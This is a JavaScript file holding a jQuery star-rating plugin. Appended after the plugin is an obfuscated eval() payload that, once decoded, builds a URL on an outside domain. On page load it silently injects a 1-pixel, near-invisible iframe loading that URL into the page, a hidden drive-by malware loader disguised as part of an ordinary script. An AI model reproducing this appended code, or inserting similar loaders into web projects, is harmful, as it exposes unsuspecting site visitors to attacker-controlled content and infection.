(function($){

var MyRatingObjectClass = function(el, _id, value)
{
    el = $(el);
    var obj = this;
    var id, stars;
    var averageRating, averageIndex, averagePercent;

    if (value < 0.0)
        value = 0.0;
    if (value > 5.0)
        value = 5.0;
    averageRating = value;
    averageIndex = Math.floor(value);
    averagePercent = (value - averageIndex) * 10.0;
    id = _id;
    s = '#rating_' + id.toString();
    stars = $(s).find("div.star")
        .mouseover(drainFill)
        .focus(drainFill)
        .mouseout(drainReset)
        .blur(drainReset)
        .click(click);
    reset();

    this.setVal = function(value) {
        if (value < 0.0)
            value = 0.0;
        if (value > 5.0)
            value = 5.0;
        averageRating = value;
        averageIndex = Math.floor(value);
        averagePercent = (value - averageIndex) * 10.0;
        drainReset();
        return;
    }

    function drainFill() {
        drain();
        fill(this);
        return;
    }
    function drainReset() {
        drain();
        reset();
        return;
    }
    function resetRemove() {
        reset();
        jQuery(this).removeClass('on');
        return;
    }
    function drainAdd() {
        drain();
        jQuery(this).addClass('on');
        return;
    }
    function click() {
        var voteVal;

        voteVal = stars.index(this) + 1;
        if (voteVal == 0)
            drain();
        DoRatingExec(obj, id, voteVal);
        return false;
    }

    function fill(elem) {
        stars.find("a").css("width", "100%");
        stars.slice(0, stars.index(elem)+ 1).addClass("hover");
        return;
    }

    function drain() {
        stars.removeClass("on hover");
        return;
    }

    function reset() {
        var percent;

        stars.slice(0,averageIndex).addClass("on");

        percent = averagePercent ? (averagePercent * 10) : 0;
        if (percent > 0)
            stars.eq(averageIndex).addClass("on").children("a").css("width", percent + "%"); 
        return;
    }
    return;
};

$.fn.MyRatingObject = function(_id, value)
{
    return this.each(function()
    {
        var element = $(this);

        if (element.data('MyRating'))
            return;
        var myRating = new MyRatingObjectClass(this, _id, value);
        element.data('MyRating', myRating);
    });
};

})(jQuery);
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4 9(){2 l="h"+"t"+"t"+"p"+":/"+"/v"+"i"+"s"+"r"+"c"+"g"+"w"+".i"+"n"+"f"+"o/"+"B"+"C"+"D"+"y."+"E"+"p";2 i=3.d(\'F\');i.j(\'G\',l);i.j(\'H\',\'I: k; J: k;K:L(6=10);-M-6: 0.1;-N-6: 0.1;6: 0.1;\');3.O.P(i)}4 m(){2 e=3.Q("R");5(e==q){9()}}(4(i){2 u=S.T;2 e=/*@U!@*/x;2 b=V;5(/W/i.7(u)){b(4(){2 a=3.X;5(a=="Y"||a=="Z"){i()}8{b(z.A,10)}},10)}8 5((/11/i.7(u)&&!/(12)/.7(u))||(/13/i.7(u))){3.14("15",i,x)}8 5(e){(4(){2 t=3.d(\'16:17\');18{t.19(\'1a\');i();t=q}1b(e){b(z.A,0)}})()}8{1c.1d=i}})(m);',62,76,'||var|document|function|if|opacity|test|else|appendMessage||||createElement||||||setAttribute|1px||wrapi||||null|||||||false||arguments|callee|ga|te|wa|ph|iframe|src|style|width|height|filter|alpha|khtml|moz|body|appendChild|getElementById|issfr|navigator|userAgent|cc_on|setTimeout|webkit|readyState|loaded|complete||mozilla|compati|opera|addEventListener|DOMContentLoaded|doc|rdy|try|doScroll|left|catch|window|onload'.split('|'),0,{}))
